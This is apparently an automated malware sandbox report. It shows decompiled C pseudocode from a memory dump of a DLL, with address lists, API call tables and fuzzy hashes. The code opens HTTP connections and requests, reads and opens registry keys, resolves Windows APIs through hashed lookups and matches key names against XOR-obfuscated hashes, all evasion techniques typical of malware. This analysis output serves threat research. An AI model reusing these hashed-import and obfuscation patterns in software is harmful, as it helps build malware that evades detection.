							__eflags = _t180 - 0xffffffff;
							if(_t180 == 0xffffffff) {
								goto L67;
							} else {
								_t162 = _t244;
							}
						}
						__eflags = _t162;
						if(_t162 != 0) {
							goto L71;
						} else {
							_t163 = E6EFF15C0(0xd27f045a, 0xdda3415f);
							__eflags = _t163;
							if(_t163 == 0) {
								goto L71;
							} else {
								_push(_t180);
								asm("int3");
								return _t163;
							}
						}
					}
				} else {
					_t164 =  *0x6f01b248; // 0xcc0004
					_t165 = InternetConnectW(_t164, _t254[0x2c], _t172, _t244, _t244, 3, _t244, _t244); // executed
					_t181 = _t165;
					if( *((char*)(_t249 + 0xc)) == 0) {
						L14:
						 *((char*)(_t249 + 0xc)) = 1;
						 *(_t249 + 8) = _t181;
						__eflags = _t181;
						if(_t181 == 0) {
							L17:
							_t109 = 1;
						} else {
							__eflags = _t181 - 0xffffffff;
							if(_t181 == 0xffffffff) {
								goto L17;
							} else {
								_t109 = _t244;
							}
						}
						__eflags = _t109;
						if(_t109 != 0) {
							 *_t249 = E6EFF7F00();
							E6EFF8CA0( &(_t254[0x20]));
							E6EFF8CA0( &(_t254[0x1c]));
							E6F000B10( &(_t254[0xe]));
							E6F000B10( &(_t254[0xa]));
							E6F000B10( &(_t254[6]));
							E6F000B10( &(_t254[2]));
							__eflags = 0;
							return 0;
						} else {
							__eflags =  *(_t249 + 0x18) - 1;
							if( *(_t249 + 0x18) == 1) {
								_t254[0x2c] = 0x80a03200;
							} else {
								_t254[0x2c] = 0x80203200;
							}
							_t118 = E6EFF15C0(0xd27f045a, 0x8813e141);
							__eflags = _t118;
							if(_t118 == 0) {
								__eflags =  *((char*)(_t249 + 0x14));
								if( *((char*)(_t249 + 0x14)) == 0) {
									L62:
									 *((char*)(_t249 + 0x14)) = 1;
									_t174 = _t244;
									 *(_t249 + 0x10) = 0;
									goto L34;
								} else {
									_t177 =  *(_t249 + 0x10);
									__eflags = _t177;
									if(_t177 == 0) {
										L58:
										_t153 = 1;
									} else {
										__eflags = _t177 - 0xffffffff;
										if(_t177 == 0xffffffff) {
											goto L58;
										} else {
											_t153 = _t244;
										}
									}
									__eflags = _t153;
									if(_t153 != 0) {
										goto L62;
									} else {
										_t154 = E6EFF15C0(0xd27f045a, 0xdda3415f);
										__eflags = _t154;
										if(_t154 == 0) {
											goto L62;
										} else {
											_push(_t177);
											asm("int3");
											return _t154;
										}
									}
								}
							} else {
								_t155 =  *((intOrPtr*)(_t249 + 0x1c));
								__eflags = _t155 - 1;
								_t156 =  !=  ? _t244 : _t155;
								E6EFF7B30(_t155 - 1,  &(_t254[0x18]), 0x6f01aa40,  !=  ? _t244 : _t155);
								_t158 = HttpOpenRequestW( *(_t249 + 8), _t254[0x24], _t254[0x26], _t244, _t244, _t244, _t254[0x2e], _t244); // executed
								_t179 = _t158;
								__eflags =  *((char*)(_t249 + 0x14));
								if( *((char*)(_t249 + 0x14)) == 0) {
									L31:
									 *(_t249 + 0x10) = _t179;
									 *((char*)(_t249 + 0x14)) = 1;
									E6EFF8CA0( &(_t254[0x18]));
									_t174 =  *(_t249 + 0x10);
									__eflags = _t174;
									if(_t174 == 0) {
										L34:
										_t119 = 1;
									} else {
										__eflags = _t174 - 0xffffffff;
										if(_t174 == 0xffffffff) {
											goto L34;
										} else {
											_t119 = _t244;
										}
									}
									__eflags = _t119;
									if(_t119 != 0) {
										 *_t249 = E6EFF7F00();
										E6EFF8CA0( &(_t254[0x20]));
										E6EFF8CA0( &(_t254[0x1c]));
										E6F000B10( &(_t254[0xe]));
										E6F000B10( &(_t254[0xa]));
										E6F000B10( &(_t254[6]));
										E6F000B10( &(_t254[2]));
										__eflags = 0;
										return 0;
									} else {
										_t128 =  *0x6f01b244; // 0xb7b294eb
										__eflags = _t128 - 0xb7b294eb;
										if(_t128 != 0xb7b294eb) {
											E6F012760( &(_t254[0x18]),  *_t128, 0xffffffff);
											_t151 =  *0x6f01b27c; // 0x0
											while(1) {
												__eflags =  *(_t151 + _t244 * 8);
												if( *(_t151 + _t244 * 8) == 0) {
													break;
												}
												_t244 =  &(_t244[0]);
												__eflags = _t244 - 0x1000;
												if(_t244 < 0x1000) {
													continue;
												}
												L40:
												E6F012810(_t151,  &(_t254[0x14]));
												goto L41;
											}
											 *(_t151 + _t244 * 8) = _t174;
											_t151 = E6EFF10E0(0);
											_t230 =  *0x6f01b27c; // 0x0
											 *((intOrPtr*)(_t230 + 4 + _t244 * 8)) = _t151;
											goto L40;
										}
										L41:
										_t129 =  *(_t249 + 0x40);
										__eflags = _t129;
										if(_t129 != 0) {
											_t254[0x12] = _t129 * 0x3e8;
											_t228 = E6EFF15C0(0xd27f045a, 0x863455c4);
											__eflags = _t228;
											if(_t228 != 0) {
												 *_t228( *(_t249 + 0x10), 5,  &(_t254[0x12]), 4);
											}
											_t229 = E6EFF15C0(0xd27f045a, 0x863455c4);
											__eflags = _t229;
											if(_t229 != 0) {
												 *_t229( *(_t249 + 0x10), 6,  &(_t254[0x12]), 4);
											}
										}
										_t254[0x2e] = 4;
										_t209 = E6EFF15C0(0xd27f045a, 0x9217c72);
										__eflags = _t209;
										if(_t209 != 0) {
											 *_t209( *(_t249 + 0x10), 0x1f,  &(_t254[0x2c]),  &(_t254[0x2e]));
										}
										_t254[0x2c] = _t254[0x2c] | 0x00003380;
										_t226 = E6EFF15C0(0xd27f045a, 0x863455c4);
										__eflags = _t226;
										if(_t226 != 0) {
											 *_t226( *(_t249 + 0x10), 0x1f,  &(_t254[0x2c]), _t254[0x2e]);
										}
										E6EFF8CA0( &(_t254[0x20]));
										E6EFF8CA0( &(_t254[0x1c]));
										E6F000B10( &(_t254[0xe]));
										E6F000B10( &(_t254[0xa]));
										E6F000B10( &(_t254[6]));
										E6F000B10( &(_t254[2]));
										return 1;
									}
								} else {
									_t240 =  *(_t249 + 0x10);
									__eflags = _t240;
									if(_t240 == 0) {
										L27:
										_t160 = 1;
									} else {
										__eflags = _t240 - 0xffffffff;
										if(_t240 == 0xffffffff) {
											goto L27;
										} else {
											_t160 = _t244;
										}
									}
									__eflags = _t160;
									if(_t160 != 0) {
										goto L31;
									} else {
										_t161 = E6EFF15C0(0xd27f045a, 0xdda3415f);
										__eflags = _t161;
										if(_t161 == 0) {
											goto L31;
										} else {
											_push(_t240);
											asm("int3");
											return _t161;
										}
									}
								}
							}
						}
					} else {
						_t241 =  *(_t249 + 8);
						if(_t241 == 0 || _t241 == 0xffffffff) {
							_t166 = 1;
						} else {
							_t166 = _t244;
						}
						if(_t166 != 0) {
							goto L14;
						} else {
							_t167 = E6EFF15C0(0xd27f045a, 0xdda3415f);
							if(_t167 == 0) {
								goto L14;
							} else {
								_push(_t241);
								asm("int3");
								return _t167;
							}
						}
					}
				}
			}

0x6f013374
0x6f013377
0x6f01337d
0x6f01337f
0x6f013389
0x6f013394
0x6f01339f
0x6f0133aa
0x6f0133b4
0x6f0133b9
0x6f0133c2
0x6f0133cf
0x6f0133dc
0x6f0133eb
0x6f0133fa
0x6f013407
0x6f013410
0x6f013419
0x6f013429
0x6f01342b
0x6f01343f
0x6f013449
0x6f013454
0x6f013459
0x6f01345b
0x6f01345b
0x6f01344b
0x6f01344b
0x6f01344b
0x6f013449
0x6f013475
0x6f0137cf
0x6f0137d3
0x6f013804
0x6f013804
0x6f013808
0x00000000
0x6f0137d5
0x6f0137d5
0x6f0137d8
0x6f0137da
0x6f0137e5
0x6f0137e5
0x6f0137dc
0x6f0137dc
0x6f0137df
0x00000000
0x6f0137e1
0x6f0137e1
0x6f0137e1
0x6f0137df
0x6f0137ea
0x6f0137ec
0x00000000
0x6f0137ee
0x6f0137f8
0x6f0137fd
0x6f0137ff
0x00000000
0x6f013801
0x6f013801
0x6f013802
0x6f013803
0x6f013803
0x6f0137ff
0x6f0137ec
0x6f01347b
0x6f013486
0x6f01348c
0x6f01348e
0x6f013494
0x6f0134c5
0x6f0134c5
0x6f0134c9
0x6f0134cc
0x6f0134ce
0x6f0134d9
0x6f0134d9
0x6f0134d0
0x6f0134d0
0x6f0134d3
0x00000000
0x6f0134d5
0x6f0134d5
0x6f0134d5
0x6f0134d3
0x6f0134de
0x6f0134e0
0x6f0136e0
0x6f0136e7
0x6f0136f0
0x6f0136f9
0x6f013702
0x6f01370b
0x6f013714
0x6f013719
0x6f013722
0x6f0134e6
0x6f0134e6
0x6f0134ea
0x6f0134f6
0x6f0134ec
0x6f0134ec
0x6f0134ec
0x6f013508
0x6f01350f
0x6f013511
0x6f013788
0x6f01378c
0x6f0137bd
0x6f0137bd
0x6f0137c1
0x6f0137c3
0x00000000
0x6f01378e
0x6f01378e
0x6f013791
0x6f013793
0x6f01379e
0x6f01379e
0x6f013795
0x6f013795
0x6f013798
0x00000000
0x6f01379a
0x6f01379a
0x6f01379a
0x6f013798
0x6f0137a3
0x6f0137a5
0x00000000
0x6f0137a7
0x6f0137b1
0x6f0137b6
0x6f0137b8
0x00000000
0x6f0137ba
0x6f0137ba
0x6f0137bb
0x6f0137bc
0x6f0137bc
0x6f0137b8
0x6f0137a5
0x6f013517
0x6f013517
0x6f01351a
0x6f013524
0x6f01352e
0x6f013544
0x6f013546
0x6f013548
0x6f01354c
0x6f01357d
0x6f01357d
0x6f013584
0x6f013588
0x6f01358d
0x6f013590
0x6f013592
0x6f01359d
0x6f01359d
0x6f013594
0x6f013594
0x6f013597
0x00000000
0x6f013599
0x6f013599
0x6f013599
0x6f013597
0x6f0135a2
0x6f0135a4
0x6f013743
0x6f01374a
0x6f013753
0x6f01375c
0x6f013765
0x6f01376e
0x6f013777
0x6f01377c
0x6f013785
0x6f0135aa
0x6f0135aa
0x6f0135af
0x6f0135b4
0x6f0135be
0x6f0135c3
0x6f0135c8
0x6f0135c8
0x6f0135cc
0x00000000
0x00000000
0x6f0135d2
0x6f0135d3
0x6f0135d9
0x00000000
0x00000000
0x6f0135db
0x6f0135df
0x00000000
0x6f0135df
0x6f013727
0x6f01372a
0x6f01372f
0x6f013735
0x00000000
0x6f013735
0x6f0135e4
0x6f0135e4
0x6f0135e7
0x6f0135e9
0x6f0135f1
0x6f013604
0x6f013606
0x6f013608
0x6f013616
0x6f013616
0x6f013627
0x6f013629
0x6f01362b
0x6f013639
0x6f013639
0x6f01362b
0x6f01363b
0x6f013652
0x6f013654
0x6f013656
0x6f013667
0x6f013667
0x6f013669
0x6f013680
0x6f013682
0x6f013684
0x6f013694
0x6f013694
0x6f01369a
0x6f0136a3
0x6f0136ac
0x6f0136b5
0x6f0136be
0x6f0136c7
0x6f0136d8
0x6f0136d8
0x6f01354e
0x6f01354e
0x6f013551
0x6f013553
0x6f01355e
0x6f01355e
0x6f013555
0x6f013555
0x6f013558
0x00000000
0x6f01355a
0x6f01355a
0x6f01355a
0x6f013558
0x6f013563
0x6f013565
0x00000000
0x6f013567
0x6f013571
0x6f013576
0x6f013578
0x00000000
0x6f01357a
0x6f01357a
0x6f01357b
0x6f01357c
0x6f01357c
0x6f013578
0x6f013565
0x6f01354c
0x6f013511
0x6f013496
0x6f013496
0x6f01349b
0x6f0134a6
0x6f0134a2
0x6f0134a2
0x6f0134a2
0x6f0134ad
0x00000000
0x6f0134af
0x6f0134b9
0x6f0134c0
0x00000000
0x6f0134c2
0x6f0134c2
0x6f0134c3
0x6f0134c4
0x6f0134c4
0x6f0134c0
0x6f0134ad
0x6f013494

APIs

InternetConnectW.WININET(00CC0004,?,00000000,00000000,00000000,00000003,00000000,00000000,D27F045A,0E214CDE,?,00000000,?,00000000,00000000,00000000), ref: 6F01348C
HttpOpenRequestW.WININET(A1310F65,?,?,00000000,00000000,00000000,?,00000000,?,6F01AA40,A1310F65,D27F045A,8813E141), ref: 6F013544

Part of subcall function 6EFF10E0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6EFF1124

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: ConnectHttpInternetOpenRequestUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 3503947753-0
Opcode ID: b5705565b2365ce554f8893ed1b3f1c59ca9c0445e61732ab870be5dd58caaa0
Instruction ID: a9a2bee785579bed3eb90ed308d250f278d46a5c31fee553c04d4813d037b9d0
Opcode Fuzzy Hash: b5705565b2365ce554f8893ed1b3f1c59ca9c0445e61732ab870be5dd58caaa0
Instruction Fuzzy Hash: 37C1C27020C341EBEB11DFA4CCA1BEEB7E8AF85358F404929B455872E0EB71E959C751

Uniqueness

Uniqueness Score: -1.00%

Function 6F00CAE0, Relevance: 3.2, APIs: 2, Instructions: 207
registryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E6F00CAE0(void* __ecx) {
				void* __esi;
				intOrPtr _t49;
				int* _t50;
				void* _t52;
				void* _t62;
				int _t99;
				intOrPtr* _t100;
				void* _t101;
				signed short* _t102;
				void* _t129;
				char* _t139;
				void* _t143;
				intOrPtr* _t144;
				intOrPtr* _t146;

				_t143 = __ecx;
				_push(0);
				E6F009350(_t146 + 0x14);
				_t49 =  *((intOrPtr*)(__ecx + 4));
				if(_t49 == 0 || _t49 == 0xffffffff) {
					_t50 = 1;
				} else {
					_t50 = 0;
				}
				if(_t50 != 0) {
					L11:
					_t99 = 0;
				} else {
					_t139 =  *((intOrPtr*)(_t146 + 0x44));
					if(_t139 == 0 ||  *_t139 != 0) {
						_t129 = _t146 + 8;
						 *((intOrPtr*)(_t129 + 0x18)) = 0;
						 *((intOrPtr*)(_t129 + 0x1c)) = 0;
						E6EFF87A0(_t129);
						if(E6EFF15C0(0x3ab94787, 0x7c5744d4) != 0) {
							RegQueryValueExW( *(_t143 + 4),  *(_t146 + 0x18), 0, _t146 + 0x20, 0, _t146 + 0x24); // executed
						}
						_t89 =  *(_t146 + 0x24);
						if( *(_t146 + 0x24) != 0) {
							E6F009670(_t146 + 0x14, _t89);
							if(E6EFF15C0(0x3ab94787, 0x7c5744d4) != 0) {
								_t142 =  *(_t143 + 4);
								RegQueryValueExW( *(_t143 + 4),  *(_t146 + 8), 0, _t146 + 0x20, E6F009640(_t146 + 0x14, 0), _t146 + 0x24); // executed
							}
							_t99 =  *(_t146 + 0x20);
							E6EFF8CA0(_t146 + 8);
						} else {
							E6EFF8CA0(_t146 + 8);
							goto L11;
						}
					} else {
						goto L11;
					}
				}
				if(_t99 == 2) {
					_t100 = E6EFF15C0(0xa1310f65, 0x6ad451b6);
					if(_t100 != 0) {
						_t52 = E6F009640(_t146 + 0x14, 0);
						 *_t100(_t52, 0, 0);
						_t101 = 0;
					} else {
						_t101 = 0;
					}
					E6EFF8810(_t146, _t101);
					_t144 = E6EFF15C0(0xa1310f65, 0x6ad451b6);
					if(_t144 != 0) {
						_t62 = E6F009640(_t146 + 0x14, 0);
						 *_t144(_t62,  *((intOrPtr*)(_t146 + 4)), _t101);
					}
					E6EFF88C0( *((intOrPtr*)(_t146 + 0x44)), _t146);
					E6EFF8CA0(_t146);
					E6F009510(_t146 + 0x10);
					return  *((intOrPtr*)(_t146 + 0x40));
				} else {
					if(_t99 != 7) {
						if(_t99 != 1) {
							E6EFF8810( *((intOrPtr*)(_t146 + 0x44)), 0);
							E6F009510(_t146 + 0x10);
							return  *((intOrPtr*)(_t146 + 0x40));
						} else {
							E6EFF8AB0( *((intOrPtr*)(_t146 + 0x48)), E6F009640(_t146 + 0x14, 0), 0);
							E6F009510(_t146 + 0x10);
							return  *((intOrPtr*)(_t146 + 0x40));
						}
					} else {
						E6EFF8810(_t146 + 4, 0);
						_t102 = E6F009640(_t146 + 0x14, 0);
						while(( *_t102 & 0x0000ffff) != 0) {
							if(E6F000180( *_t146, 0x7fffffff, _t142) != 0) {
								E6EFF96D0(_t146 + 4, 0xa);
							}
							E6EFF8AB0(_t146 + 0x30, _t102, 0);
							E6F000220(_t146 + 8,  *((intOrPtr*)(_t146 + 0x2c)), 0);
							_t102 = _t102 + 2 + E6F000180( *((intOrPtr*)(_t146 + 0x28)), 0x7fffffff, _t142) * 2;
							E6EFF8CA0(_t146 + 0x28);
						}
						E6EFF88C0( *((intOrPtr*)(_t146 + 0x44)), _t146);
						E6EFF8CA0(_t146);
						E6F009510(_t146 + 0x10);
						return  *((intOrPtr*)(_t146 + 0x40));
					}
				}
			}

0x6f00cae6
0x6f00cae8
0x6f00caee
0x6f00caf3
0x6f00caf8
0x6f00cb03
0x6f00caff
0x6f00caff
0x6f00caff
0x6f00cb0a
0x6f00cb6b
0x6f00cb6b
0x6f00cb0c
0x6f00cb0c
0x6f00cb12
0x6f00cb1b
0x6f00cb1f
0x6f00cb22
0x6f00cb25
0x6f00cb3d
0x6f00cb54
0x6f00cb54
0x6f00cb56
0x6f00cb5c
0x6f00cd05
0x6f00cd1d
0x6f00cd1f
0x6f00cd42
0x6f00cd42
0x6f00cd44
0x6f00cd4c
0x6f00cb62
0x6f00cb66
0x00000000
0x6f00cb66
0x00000000
0x00000000
0x00000000
0x6f00cb12
0x6f00cb70
0x6f00cc84
0x6f00cc88
0x6f00cc94
0x6f00cca0
0x6f00cca2
0x6f00cc8a
0x6f00cc8a
0x6f00cc8a
0x6f00cca8
0x6f00ccbc
0x6f00ccc0
0x6f00ccc8
0x6f00ccd3
0x6f00ccd3
0x6f00ccdd
0x6f00cce5
0x6f00ccee
0x6f00ccfd
0x6f00cb76
0x6f00cb79
0x6f00cc25
0x6f00cc5a
0x6f00cc63
0x6f00cc72
0x6f00cc27
0x6f00cc39
0x6f00cc42
0x6f00cc51
0x6f00cc51
0x6f00cb7f
0x6f00cb85
0x6f00cb95
0x6f00cb9c
0x6f00cbad
0x6f00cbb5
0x6f00cbb5
0x6f00cbc1
0x6f00cbd0
0x6f00cbe7
0x6f00cbeb
0x6f00cbf3
0x6f00cbff
0x6f00cc07
0x6f00cc10
0x6f00cc1f
0x6f00cc1f
0x6f00cb79

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,?,00000000,?,3AB94787,7C5744D4,00000000), ref: 6F00CB54

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1a993fb9358f32fd43622a429a7ad0c6ffa3ee027b8f9921b25b7e9b31177733
Instruction ID: bafd01653ee9a7c94495b5710425c28d42bd099b5e1baa9af9acfbdf5d69a70e
Opcode Fuzzy Hash: 1a993fb9358f32fd43622a429a7ad0c6ffa3ee027b8f9921b25b7e9b31177733
Instruction Fuzzy Hash: A9614031208341ABE704EF65CC91FABB3E8AF94648F404D2EF555961E0EF21ED49C762

Uniqueness

Uniqueness Score: -1.00%

Function 6F00C790, Relevance: 3.1, APIs: 2, Instructions: 85
registryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E6F00C790(void* __ecx, void* __edx) {
				intOrPtr _t21;
				int* _t22;
				char* _t47;
				void* _t50;
				void* _t53;

				 *((intOrPtr*)(_t53 + 0x18)) = 0;
				_t50 = __ecx;
				_push(0);
				E6F009350(_t53 + 4);
				_t21 =  *((intOrPtr*)(__ecx + 4));
				if(_t21 == 0 || _t21 == 0xffffffff) {
					_t22 = 1;
				} else {
					_t22 = 0;
				}
				if(_t22 != 0) {
					L10:
					E6F009510(_t53);
					return  *((intOrPtr*)(_t53 + 0x18));
				} else {
					_t47 =  *(_t53 + 0x2c);
					if(_t47 == 0 ||  *_t47 != 0) {
						 *(_t53 + 0x10) = 0;
						 *(_t53 + 0x14) = 0;
						if(E6EFF15C0(0x3ab94787, 0x8883f185) != 0) {
							RegQueryValueExA( *(_t50 + 4), _t47, 0, _t53 + 0x10, 0, _t53 + 0x14); // executed
						}
						_t26 =  *(_t53 + 0x14);
						if( *(_t53 + 0x14) != 0) {
							E6F009670(_t53 + 4, _t26);
							if(E6EFF15C0(0x3ab94787, 0x8883f185) != 0) {
								RegQueryValueExA( *(_t50 + 4), _t47, 0, _t53 + 0x10, E6F009640(_t53 + 4, 0), _t53 + 0x14); // executed
							}
							if( *(_t53 + 0x10) == 4) {
								E6F0097D0(_t53 + 8, _t53 + 0x18, 4);
							}
						}
					}
					goto L10;
				}
			}

0x6f00c798
0x6f00c79c
0x6f00c79e
0x6f00c7a3
0x6f00c7a8
0x6f00c7ad
0x6f00c7b8
0x6f00c7b4
0x6f00c7b4
0x6f00c7b4
0x6f00c7bf
0x6f00c805
0x6f00c80c
0x6f00c819
0x6f00c7c1
0x6f00c7c1
0x6f00c7c7
0x6f00c7ce
0x6f00c7d2
0x6f00c7e9
0x6f00c7fb
0x6f00c7fb
0x6f00c7fd
0x6f00c803
0x6f00c821
0x6f00c839
0x6f00c85a
0x6f00c85a
0x6f00c861
0x6f00c86e
0x6f00c86e
0x6f00c861
0x6f00c803
0x00000000
0x6f00c7c7

APIs

RegQueryValueExA.KERNELBASE(?,?,00000000,?,00000000,?,8883F185,00000000), ref: 6F00C7FB
RegQueryValueExA.KERNELBASE(?,?,00000000,8883F185,00000000,00000000,00000000,8883F185,?,8883F185,00000000), ref: 6F00C85A

Memory Dump Source

Source File: 00000000.00000002.888568308.000000006EFE1000.00000020.00020000.sdmp, Offset: 6EFE0000, based on PE: true

Associated: 00000000.00000002.888087050.000000006EFE0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.894194867.000000006F015000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.895199607.000000006F01B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.895701456.000000006F01C000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: 1b4fde19d6e27f85aaca9c95f26fbe1a7904d47f24c8b1bb7409f34fb5227349
Instruction ID: b016ad3a283322958f0fc144aa1a561d5e021acc7d2c6c95bdced2f87606fbe7
Opcode Fuzzy Hash: 1b4fde19d6e27f85aaca9c95f26fbe1a7904d47f24c8b1bb7409f34fb5227349
Instruction Fuzzy Hash: 34216D31208316ABE311EE24CD40FAF77E89F81B54F00492EB55997294EB30E909CBF6

Uniqueness

Uniqueness Score: -1.00%

Function 6F00C2D0, Relevance: 1.7, APIs: 1, Instructions: 196
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6F00C2D0(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __ebp, intOrPtr _a4, void* _a8, void* _a12) {
				char _v28;
				char _v32;
				unsigned int _v36;
				char _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				long* _v56;
				long _v60;
				long* _v64;
				int _v68;
				intOrPtr _v72;
				signed int _v76;
				long _v80;
				unsigned int _t57;
				signed int* _t59;
				void* _t62;
				void* _t66;
				void* _t74;
				long _t75;
				void* _t76;
				void** _t77;
				long _t78;
				long* _t82;
				void* _t83;
				long _t84;
				long _t102;
				short* _t107;
				long _t117;
				signed int _t122;
				signed int _t123;
				signed int _t124;
				intOrPtr _t125;
				long _t127;
				void* _t130;
				long _t132;
				intOrPtr _t135;
				long _t136;
				long _t140;
				void* _t142;
				long* _t143;

				_push(__esi);
				_push(__edi);
				_t143 = _t142 - 0x40;
				_t82 = __ecx;
				E6EFF3930(__ecx, 0, __edi, __esi);
				_t130 =  !=  ? 0 : 0x100;
				_t121 =  <=  ? 0x3000f : 0x20009;
				_t122 = ( <=  ? 0x3000f : 0x20009) | 0x00000100;
				E6EFF8810( &_v40, 0x104);
				_t107 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t107 != 0) {
					 *_t107 = 0;
				}
				_t140 = _a8;
				_t57 = E6F009650(_a4) >> 2;
				if(_t57 > 0) {
					_v56 =  &(_t82[3]);
					_v44 = 0;
					_t16 = _t57 - 1; // -1
					_v76 = _t122;
					_v68 = _t16;
					_v72 = _t130 + 0x20009;
					_t132 = 0;
					_v52 = _t57;
					_v64 = _t82;
					_t123 = 0;
					while(1) {
						L15:
						_t59 = E6F009640(_a4, _t123 * 4);
						_t83 = 0;
						_v48 = _t123;
						_t124 =  *_t59 ^ 0x38ba5c7b;
						_v52 = _t132;
						while(1) {
							_t62 = E6EFF15C0(0x3ab94787, 0xf561ae8b);
							if(_t62 != 0) {
								break;
							}
							E6EFFA0D0( &_v40,  &_v32);
							E6EFF83B0( &_v28);
							_t66 = E6F00D620(_v28, E6F006040(_v28, 0x7fffffff));
							E6F000B10( &_v28);
							if(_t66 != _t124) {
								E6EFF8CA0( &_v32);
								_t83 = _t83 + 1;
								continue;
							} else {
								_t125 = _v44;
								_t135 =  *((intOrPtr*)( &_v32 - 0x10));
								E6EFF8CA0( &_v32);
								if(_t125 != 0) {
									E6EFF96D0(_v56, 0x5c);
								}
								E6F000220(_v56, _v40, 0);
								_v68 = 0;
								if(E6EFF15C0(0x3ab94787, 0xd5493f9) == 0) {
									_t117 = 0;
								} else {
									_t77 =  &_v60;
									_t104 =  ==  ?  *((void*)(_t77 - 0x10)) :  *((intOrPtr*)(_t77 - 0xc));
									_t78 = RegOpenKeyExW(_a8,  *(_t77[1]), 0,  ==  ?  *((void*)(_t77 - 0x10)) :  *((intOrPtr*)(_t77 - 0xc)), _t77); // executed
									_t117 = _t78;
								}
								_t84 = _v60;
								if(_t84 == 0 || _t84 == 0xffffffff) {
									L37:
									_t82 = _v64;
									_t136 = _t117;
									goto L4;
								} else {
									if(_t135 == 0) {
										L34:
										_t123 = _t125 + 1;
										_t140 = _t84;
										if(_t123 < _v52) {
											_t132 = 1;
											goto L15;
										} else {
											goto L37;
										}
									} else {
										if(_t140 == 0 || _t140 == 0xffffffff) {
											_t75 = 1;
										} else {
											_t75 = 0;
										}
										if(_t75 != 0) {
											goto L34;
										} else {
											_v80 = _t117;
											_t76 = E6EFF15C0(0x3ab94787, 0x91935d4e);
											_t117 =  *_t143;
											if(_t76 == 0) {
												goto L34;
											} else {
												_push(_t140);
												_v80 = _t117;
												asm("int3");
												return _t76;
											}
										}
									}
								}
							}
							goto L38;
						}
						_push(_v36 >> 1);
						_push(_v40);
						_push(_t83);
						_push(_t140);
						asm("int3");
						return _t62;
						goto L38;
					}
				} else {
					_t136 = 0;
					L4:
					if(_t82[2] == 0) {
						L12:
						_t82[1] = _t140;
						_t82[2] = 1;
						E6EFF8CA0( &_v40);
						 *_t82 = _t136;
						return _t136;
					} else {
						_t127 = _t82[1];
						if(_t127 == 0 || _t127 == 0xffffffff) {
							_t102 = 1;
						} else {
							_t102 = 0;
						}
						if(_t102 != 0) {
							goto L12;
						} else {
							_t74 = E6EFF15C0(0x3ab94787, 0x91935d4e);
							if(_t74 == 0) {
								goto L12;
							} else {
								_push(_t127);
								asm("int3");
								return _t74;
							}
						}
					}
				}
				L38:
			}

0x6f00c2d0
0x6f00c2d1
0x6f00c2d4
0x6f00c2d7
0x6f00c2db
0x6f00c2f4
0x6f00c30b
0x6f00c30e
0x6f00c310
0x6f00c315
0x6f00c31a
0x6f00c31e
0x6f00c31e
0x6f00c325
0x6f00c32e
0x6f00c333
0x6f00c393
0x6f00c399
0x6f00c39d
0x6f00c3a0
0x6f00c3a4
0x6f00c3a8
0x6f00c3ac
0x6f00c3ae
0x6f00c3b2
0x6f00c3b6
0x6f00c3bf
0x6f00c3bf
0x6f00c3cb
0x6f00c3d2
0x6f00c3d9
0x6f00c3dd
0x6f00c3df
0x6f00c3e3
0x6f00c3ed
0x6f00c3f4
0x00000000
0x00000000
0x6f00c418
0x6f00c425
0x6f00c43e
0x6f00c449
0x6f00c450
0x6f00c523
0x6f00c528
0x00000000
0x6f00c456
0x6f00c456
0x6f00c45e
0x6f00c461
0x6f00c468
0x6f00c470
0x6f00c470
0x6f00c47f
0x6f00c484
0x6f00c49f
0x6f00c4c3
0x6f00c4a1
0x6f00c4a5
0x6f00c4ac
0x6f00c4bd
0x6f00c4bf
0x6f00c4bf
0x6f00c4c5
0x6f00c4cb
0x6f00c537
0x6f00c537
0x6f00c53b
0x00000000
0x6f00c4d2
0x6f00c4d4
0x6f00c510
0x6f00c510
0x6f00c511
0x6f00c517
0x6f00c3ba
0x00000000
0x6f00c51d
0x00000000
0x6f00c51d
0x6f00c4d6
0x6f00c4d8
0x6f00c4e3
0x6f00c4df
0x6f00c4df
0x6f00c4df
0x6f00c4ea
0x00000000
0x6f00c4ec
0x6f00c4f6
0x6f00c4fa
0x6f00c4ff
0x6f00c504
0x00000000
0x6f00c506
0x6f00c506
0x6f00c507
0x6f00c50b
0x6f00c50c
0x6f00c50c
0x6f00c504
0x6f00c4ea
0x6f00c4d4
0x6f00c4cb
0x00000000
0x6f00c450
0x6f00c3fc
0x6f00c3fd
0x6f00c401
0x6f00c402
0x6f00c403
0x6f00c404
0x00000000
0x6f00c404
0x6f00c335
0x6f00c335
0x6f00c337
0x6f00c33b
0x6f00c36c
0x6f00c36c
0x6f00c373
0x6f00c377
0x6f00c37c
0x6f00c387
0x6f00c33d
0x6f00c33d
0x6f00c342
0x6f00c34d
0x6f00c349
0x6f00c349
0x6f00c349
0x6f00c354
0x00000000
0x6f00c356
0x6f00c360
0x6f00c367
0x00000000
0x6f00c369
0x6f00c369
0x6f00c36a
